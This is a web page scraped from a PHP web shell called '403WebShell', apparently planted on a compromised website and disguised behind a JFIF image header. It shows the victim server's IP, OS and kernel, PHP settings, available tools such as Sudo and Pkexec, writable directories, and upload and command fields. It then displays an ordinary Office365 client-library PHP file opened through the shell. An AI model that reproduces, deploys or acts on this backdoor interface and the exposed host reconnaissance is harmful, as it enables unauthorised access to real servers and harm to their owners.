????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 52.15.226.19
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/sharepoint/vendor/vgrem/php-spo/src/Runtime/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/sharepoint/vendor/vgrem/php-spo/src/Runtime//ClientRequest.php
<?php


namespace Office365\Runtime;


use Exception;
use Office365\Runtime\Actions\ClientAction;
use Office365\Runtime\Http\RequestException;
use Office365\Runtime\Http\Requests;
use Office365\Runtime\Http\Response;
use Office365\Runtime\Types\EventHandler;
use Office365\Runtime\Types\Guid;
use Office365\Runtime\Http\RequestOptions;


/**
 * Client Request for OData provider.
 *
 */
abstract class ClientRequest
{
    /**
     * @var EventHandler
     */
    protected $beforeExecute;

    /**
     * @var EventHandler
     */
    protected $afterExecute;

    /**
     * @var ClientRuntimeContext
     */
    protected $context;


    /**
     * @var ClientAction[]
     */
    protected $queries = array();


    /**
     * @var ClientAction
     */
    protected $currentQuery = null;

    /** @var Guid  */
    protected $requestId;

    /** @var integer */
    protected $requestStatus;


    /**
     * ClientRequest constructor.
     * @param ClientRuntimeContext $context
     */
    public function __construct(ClientRuntimeContext $context)
    {
        $this->context = $context;
        $this->beforeExecute = new EventHandler();
        $this->afterExecute = new EventHandler();
        $this->requestId = Guid::newGuid();
        $this->requestStatus = ClientRequestStatus::Active;
    }


    /**
     * @return ClientAction|null
     */
    protected function getNextQuery()
    {
        $qry = array_shift($this->queries);
        $this->currentQuery = $qry;
        return $qry;
    }


    /**
     * @return ClientAction
     */
    public function getCurrentQuery(){
        return $this->currentQuery;
    }


    /**
     * Add query into request queue
     * @param ClientAction $query
     */
    public function addQuery(ClientAction $query)
    {
        $this->queries[] = $query;
        $this->currentQuery = $query;
    }

    /**
     * @param ClientAction $query
     * @param ClientObject|ClientResult $resultObject
     */
    public function addQueryAndResultObject(ClientAction $query, $resultObject = null)
    {
        $query->ReturnType = $resultObject;
        $this->addQuery($query);
    }


    /**
     * @param callable $event
     * @param bool $toBegin
     */
    public function beforeExecuteRequest(callable $event, $toBegin=false)
    {
        $this->beforeExecute->addEvent($event,false,$toBegin);
    }

    /**
     * @param callable $event
     * @param false $toBegin
     */
    public function beforeExecuteRequestOnce(callable $event, $toBegin=false)
    {
        $this->beforeExecute->addEvent($event,true,$toBegin);
    }

    /**
     * @param callable $event
     * @param bool $once
     */
    public function afterExecuteRequest(callable $event,$once=true)
    {
        $this->afterExecute->addEvent($event,$once);
    }

    /**
     * Submit a query
     * @throws Exception
     */
    public function executeQuery()
    {
        while ($this->getNextQuery() !== null) {
            try{
                $request = $this->buildRequest();
                $this->beforeExecute->triggerEvent(array($request));
                $response = $this->executeQueryDirect($request);
                $this->processResponse($response);
                $this->afterExecute->triggerEvent(array($response));
                $this->requestStatus = ClientRequestStatus::CompletedSuccess;
            }
            catch(Exception $e){
                $this->requestStatus = ClientRequestStatus::CompletedException;
                throw $e;
            }
        }
    }

    /**
     * @param RequestOptions $request
     * @return Response
     * @throws Exception
     */
    public function executeQueryDirect(RequestOptions $request)
    {
        $this->context->authenticateRequest($request);
        $response = Requests::execute($request);
        $this->validate($response);
        return $response;
    }


    /**
     * @param Response $response
     */
    public abstract function processResponse($response);

    /**
     * Build Request
     * @return RequestOptions
     */
    abstract public function buildRequest();


    /**
     * @return ClientAction[]
     */
    public function getActions(){
        return $this->queries;
    }

    public function clearActions(){
        $this->queries = array();
    }

    /**
     * @return int
     */
    public function getRequestStatus(){
        return $this->requestStatus;
    }


    /**
     * @param Response $response
     * @return bool
     * @throws Exception
     */
    public function validate($response)
    {
        if ($response->getStatusCode() >= 400) {
            throw new RequestException($response->getContent(),$response->getStatusCode());
        }
        return true;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit